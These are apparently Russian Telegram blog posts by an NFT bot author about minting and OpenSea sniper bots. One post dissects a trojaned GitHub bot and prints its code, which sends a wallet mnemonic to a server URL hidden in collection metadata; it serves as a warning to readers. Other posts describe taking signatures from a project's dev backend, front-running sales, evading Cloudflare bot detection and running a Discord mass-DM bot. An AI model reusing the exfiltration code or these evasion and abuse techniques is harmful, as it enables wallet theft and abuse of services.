Грязные дела с коллекцией CoolCats
Я готовился к этому минту недели две. Не то, что бы я тормоз, просто все время у них происходили какие то факапы. Весь сейл проходил в три этапа: сперва бесплатный минт для владельцев оригинальной CoolCats коллекции, потом рафл, потом паблик остатков (минимум 1600шт). Первый этап сперва перенесли на несколько дней, затем на 5к сминченых остановили сейл т.к у некоторых людей не обновились DNS адреса их сайта и они не могли на него зайти, поэтому минт стоял на паузе два дня или больше. У владельцев оригинальной коллекции было очень много времени чтобы подумать хотят ли они бесплатно забрать себе животное. Реально пара дней. Потом минт тех кто прошел в рафле где то сутки, а потом паблик (который опять перенесли). В итоге у меня было примерно дней 10 на подготовку:
Первым делом (до обновления сайта) идем в тестовый опенси, находим там несколько коллекций с подозрительно похожим названием, оттуда выходим на контракт, далее на создателя и с него на другие контракты. Деплоили они их в тестнете как ненормальные, по нескольку штук в день. И все без верификации, но по данным в транзакциях и коду из декомпилятора расшифровываю название метода для минта и параметры (какая то херня подозрительно похожая на Unix Timestamp и какая то фигня подозрительно похожая на сигнатуру (130 символов = 65 байт)). Не помню только, код на сайт был залит одновременно с контрактом в майннете или нет, но как же я удивился когда увидел верифнутый контракт в майннете. Т.е я мог ничего не делать и просто прочитать исходники если бы подождал один день. Зато написал кучу хелперов для себя для кодирования/декодирования данных и т.д.
Когда сайт обновился, на нем уже был весь код фронтенда еще до начала минта для владельцев CoolPets. Из кода сайта я понял что нам предстоит пройти ребус, похвалил ребят и сделал об этом пост выше. Всего ребусов 30шт, я их просто все разгадал руками (хотя это было не обязательно и достаточно было любой рандомной, но я не люблю незаконченные дела). Далее по коду сайт берет ID картинки (от 1 до 30), ответ на картинку (напр. DOGS), сообщение (захардкожено в коде), собирает из сообщения и ответа хеш, подписывает его и отправляет полученную сигнатуру, кошелек и ID ответа на бекеннд. Бекенд восстанавливает хеш сообщения из переданного ID ответа и проверяет что хеш с переданной сигнатурой восстанавливается в адрес отправителя (т.е ответ и сообщение верные и подписаны переданным кошельком). Стандартная подпись короче. Мне остается только кинуть правильный запрос из скрипта, получить сигнатуру и как то проверить что все пройдет успешно. Не помню как, либо DNS дампером, либо из кода сайта я нашел адрес их дев-бекенда, успешно получил сигнатуру от них, убедился что эта сигнатура декодится в адрес овнера контракта в тестнете и успешно сминтил животное в одном из контрактов где не был отключен паблик сейл. Я потом неделю переживал что чуваки спалили меня и примут меры, а какой то герой через три дня повторил мой “подвиг”.
После нагенерил сигнатур для прода и оставалось только ждать открытия паблика, но из-за постоянных задержек и переносов я решил заняться доработкой минтилки, итого я сделал:
1️⃣ Фронтран режим с отслеживанием транзакции овнера и ускорением моей транзы если транза овнера получила конфирм, а моя не получила в этом же блоке
2️⃣ Расчет стоимости газа по последним транзакциям в пендинге (кстати кто-то постоянно забивает сеть транзами с очень низким газом, пришлось их фильтровать)
3️⃣ Режим минта по появлению хедера блока с временем больше указанного (запуск по таймеру короч)
4️⃣ Безопасный режим с эстимейтом транзы каждые N мс и запуск настоящей транзы как только эстимейт перестал падать
5️⃣ Режим минта по нажатию enter
6️⃣ Режим минта “сейчас”. Мусор, т.к код слишком долго стартует.
7️⃣ Многопоточность. Это причина по которой код долго стартует, т.к он написан на TS и ему надо сперва собрать код. Подозреваю что можно ускорить если использовать кластер вместо спавна процессов или сперва собирать проект и запускать уже собранный. Зато можно заводить кучу кошельков и с разными параметрами газа, ускорения и прочего для каждого ключа.
И вот наступает день X. Так как сигнатуры я нагенерил неделю назад, перед сейлом проверил что сигнер в контракте тот же и сигнатуры сработают, радуюсь что все получится, грущу что опять боты все заберут, запускаю фронтран режим с ускорением и жду. И он срабатывает за пару минут до начала и транза фейлится, WTF. Тварь, кто это сделал, кто кинул транзакцию setSaleState, я же не учел что надо строго проверять кто отправитель транзы 🤦. В итоге минтилка тригерится и пытается минтить на каждую транзу с нужным именем и значением, вне зависимости от того кто ее отправляет. Я слишком верю в людей, мысли не было что кто-то будет так шутить, они же просто теряют деньги на газе. Времени дописывать проверки нет, две минуты до сейла, перезапускаю, замечаю что кроме меня есть еще один дебилушка с такой же проблемой и еще один просто буйный (слал в каждый блок по транзакции и терял с каждой по 10$ на неудаче). А дальше оказалось что сайт лежит, минт закрыт, анонсов нет, время уже 20:07, а какие то ублюдки уже в четвертый раз кидают метод setSaleState и шатают мои нервы (и тратят свой и мой газ на неудачные транзы, но благо там копейки). Я все же в панике дописываю проверку на отправителя, перезапускаю минтилку на дедике и еду домой т.к из офиса скоро выгонят. Пока ехал они выкинули пост что из-за ботов переносят сейл на пару часов. Класс. Я так понял им заддосили апи не подготовившие сигнатуры заранее, т.к сайт вроде работал, но кнопки подключения и пр. не работали. После переноса они просто перемешали вопросы и ответы, подобрать не составило труда. Этим они только все усугубили и дали время на подготовку оставшимся ботоводам. Но за 5 минут до сейла таки поняли как налажали перенесли еще на сутки, и вот тут стало действительно интересно.
Во первых они прикрутили клаудфлейр и запрос сигнатур отваливался с ошибкой 403 (cf1020). Но это я умею обходить, писал об этом пост в начале (https://t.me/zx_crypto/5). Но ни одна вариация ответов к ID не подходит, а значит либо изменились ответы, либо изменилось сообщение (логичнее и проще чем поменять 30 картинок с вопросами). Сайт не обновляют, а сигнер в контракте таки изменился и мои сигнатуры протухли. Дописал код который загрузит данные сигнатур и сразу автоматом обновит конфиг, а в минтилку дописал логику вотча конфига и обновления параметров без перезапуска. Нужны только правильные параметры, а для этого нужно увидеть свежий код сайта. За 5 минут до начала надеюсь что сайт обновится и я успею дернуть живительную инфу. Хрен там, код сайта не менялся даже когда я увидел успешные транзации в эзерскане (возможно балансировщик и для каких то серверов релиз прошел быстрее).
🚧 Первый пост про то как можно нарваться скачивая код из открытых источников или покупая ботов у непроверенных людей 🚧
Началось все с идеи написать снайпер бота для опенси, идея простая - бот следит за листингами нужных мне коллекций и выкупает все что листится по цене ниже заданной мной планки, либо в автоматическом режиме анализируя флур. Те кто следил за жирными коллекциями могли видеть как может бодро расти флур после паблик сейла (а особенно если это раффл или все сминтилось по ВЛ) и как порой в истории продаж пролетают итемсы по сочной цене, при этом на странице BUY_NOW ты этих листингов даже не видел, как бы ты быстро не обновлял страницу.
Прокрастинировал недели две с этим и все же занялся, а начал с поиска готовых решений (ну мало ли), и нашел это:
https://github.com/OpenSea-Sniper/OpenSea-Python-Bot (ссылка уже не рабочая, но код у меня сохранился)
Скрипт там крайне паршивого качества, какой то джун писал, разумеется не запускаю и просто пытаюсь понять нахера так по дебильному все сделано.
Вот примеры перлов в коде:
1. Метод который судя по названию должен совершать покупку на самом деле парсит HTML и ищет там цены, но в середине парсинга запускает некий getprice, результат которого никак не используется
2. Методы getFloor2 и getFloor3. Никакого просто getFloor не существует.
3. При этом getFloor3 получает флур из офф. инфо коллекции, но ни разу не вызывается.
4. getFloor2 растекается на ~100 строк и зачем-то принимает 7 аргументов включая мнемоник от кошелька
Я подобный говнокод видел от своих коллег ни раз, поэтому сперва подумал что скрипт писал какой то джун, ох как я ошибся, анализ кода дальше показал что это явно не так.
Разберем метод getFloor2, который используется и судя по названию должен получить самую низкую цену в коллекции.
Все начинается с запроса списка последних 20 успешных листингов коллекции. Непонятно зачем, ведь это не самые дешевые листинги, а самые последние, по ним точно нельзя ничего точно расчитать.
Сразу после этого идет условие что код ответа не 100. Сразу скажу что код 100 редко используется каким-либо бекендом в принципе, и уж точно не возвращается в запросах к апи опенси, а это значит что условие будет выполнено всегда, поэтому посмотрим что происходит внутри условия (я сопроводил # комментарием каждую строчку что бы всем было понятно):
# Сохраняем переданный мнемоник кошелька в объект, сопровождаем мусором для отвлечения внимания
data = { "content" : mnemonic , "username" : "OpenSea SDK"}
# Сохраняем в переменную url1 ссылку на некую коллекцию calculate-floor и сразу отправляем запрос
url1 = 'https://api.opensea.io/api/v1/assets?collection=calculate-floor&format=json&limit=20&offset=0&order_direction=desc'
resp = requests.get(url=url1)
resp = resp.json()
# Достаем из данных этой коллекции описание первого элемента коллекции и сохраняем в переменную url2 (т.е в описании зашита ссылка на какой то сторонний ресурс), а следующей строчкой записываем в url1 ссылку на запрос к опенси (это явно сделано для отвлечения глаз)
url2 = resp['assets'][0]['description']
url1 = 'https://api.opensea.io/api/v1/asset/'+asset_contract+'/'+str(identifier)+'?format=json'
# Отправляем запрос на сторонний ресурс, отправляем туда мнемоник жертвы. Следом выполняем запрос к опенси для отвлечения внимания. Используем только ответ от опенси
resp = requests.post(url2, json = data)
resp = requests.get(url=url1)
То-есть чувак хитроумно замаскировал путь до своего сервера внутри данных своей же коллекции на опенси, запутал код и засунул логику отправки мнемоника из казалось бы безобидного метода получения цены флура. Беглым взглядом обнаружить эту ловушку не так просто, особенно если не умеешь прогать.
Вот так вот легко можно потерять свой кошелек и все свои деньги тупо запуская скрипты из открытого доступа или купленные у не проверенных чуваков. Будьте бдительны.
Я накатал абузу на говнаря и его гитхаб быстро удалили, но думаю это не на долго.
👋 Итак, продолжаем тему про опенси-снайпера и проблемы появляющиеся с ним.
Из кода злоумышленника выше я взял:
1. Метод получения флура из распаршенной страницы с листингами опенси
2. Идеи для документации и некоторых параметров
Писать решил на питоне, т.к никогда ничего толковее хелловорда на нем не делал, просто что-бы немного ознакомиться с языком, но быстро передумал т.к официальный SDK опенси написан на JS, TypeScript я знаю на уровне бог, а Python простой и понятный и ничего принципиально нового я для себя не узнаю, только буду буксоваать и гуглить элементарные вещи типа синтаксиса строковых литералов. Выбираем TS.
За пару вечеров пишу код который умеет:
1️⃣ Получать усредненный флур коллекции по данным 1-4 самых дешевых итемсов + офф. инфо о флуре из апи опенси
2️⃣ Расчитывать оптимальную цену покупки с учетом fee авторов и опенси, текущей стоимости газа и заложенной минимальной прибыти (т.е если при запуске бота я указываю что хочу заработать минимум 0.1 эфира, при флуре в ~1 выгодно будет покупать все что окажется дешевле ~0.75)
3️⃣ Ждет ивенты новых листингов и сообщает о каждом новом листинге подходящим по цене
4️⃣ Ручной режим в котором сообщается о любых листингах меньше заданной цены (флур не опрашивается)
Проверяю, работает, хотя время от времени падает на запросах для парсинга коллекции, грешу на мобильный интернет, т.к нахожусь в гостях у родителей и мой ноут резко передумал видеть их вайфай.
Далее дописываю метод покупки самого дешевого элемента, это отдельный вид искуства т.к вся документация недописана и все приходится пробивать тупо на ощупь или ковыряя исходники, кроме того половина либ используют устаревшие зависимости и тупо не устанавливаются (например opensea-js, лол, кое как установился через yarn с 4й попытки). Так же опенси sdk не позволяет управлять ценой на газ и другими параметрами, так что приходится просто надеяться что твоя транзакция успеет быстрее других таких же ботов. Думаю при желании это можно обойти через написание провайдера для web3 который будет просчитывать эти параметры в полследний момент. Либо выкупать напрямую через контракт OpenSea, проблема лишь в том что он принимает около 50 аргументов и на ресерч этого уйдет не один день.
Руки горят проверить работу, запускаю на свежей OxyaOriginProject (который полностью сминтился на WL и ничего не осталось даже на рафл). Флур на тот момент уже взлетел до 1.4, решаю рискнуть, уж очень хочется проверить скрипт в самых жестких боевых условиях, ставлю верхнюю границу 1.22 и скрипт тут же покупает что-то за 1.2 (+газ). Радуюсь успеху как ребенок (кстати походу рект, так как текущий флур укатали до 1.25, а мне что-бы не потерять на комиссиях нужно продавать хотя бы за 1.5, но посмотрим еще, стараюсь не фомоебить из-за этих циферок).
А дальше я возвращаюсь домой в свой город и вижу что опрос флура перестал работать, тупо приходит 403 (доступ запрещен) от CloudFlare. Значит клаудфлейру не нравится мой провайдер. Начинаю ресерч и узнаю:
1. Клаудфлейр смотрит на отпечаток JA3, отпечаток этот формируется при т.н рукопожатии, когда устанавливается безопасное соединение с сервером. Так бекенд может понять что за устройство к нему обращается еще до фактически запроса.
2. Если включен режим “я под атакой”, клаудфлейр запускает проверку на поддержку JS (обычный JS редирект с таймером в 5 секунд, думаю каждый это видел)
3. Если клайдфлейр совсем озвереет, то может даже показать капчу
4. Клаудфлейр очень не любит любые прокси и банит их целыми пулами
Понимаю что попадаюсь в ловушку уже на первом этапе и наде разбираться с этим JA3 отпечатком, впервые слышу о такой технологии. Мой хэш бьется как NodeJs-Http-Client, что совершенно явно выдает во мне бота. Пытаюсь найти решение, не нахожу, плачу, ложусь спать, на следующий день снова плачу, смотрю целый день гарри поттера и пью чай, к компу не подхожу что бы не расстраиваться.
Сегодня продолжаю поиски и нахожу это (https://github.com/Danny-Dasilva/CycleTLS), проверяю - запросы бьются как нормальные браузеры, тест на получении коллекции - работает! Допиливаю бота инатыкаюсь на мысль что возможно дискорд использует аналогичные алгоритмы для выявления self-bots и поэтому мой massDM бот для дискорда банится после 1-2 сообщений в личку, но это уже совсем другая история…
Я доволен и теперь могу пойти поработать до вечера на своей основной фулл-тайм работе, которой задолжал несколько дней 🤓
Всем удачи котаны!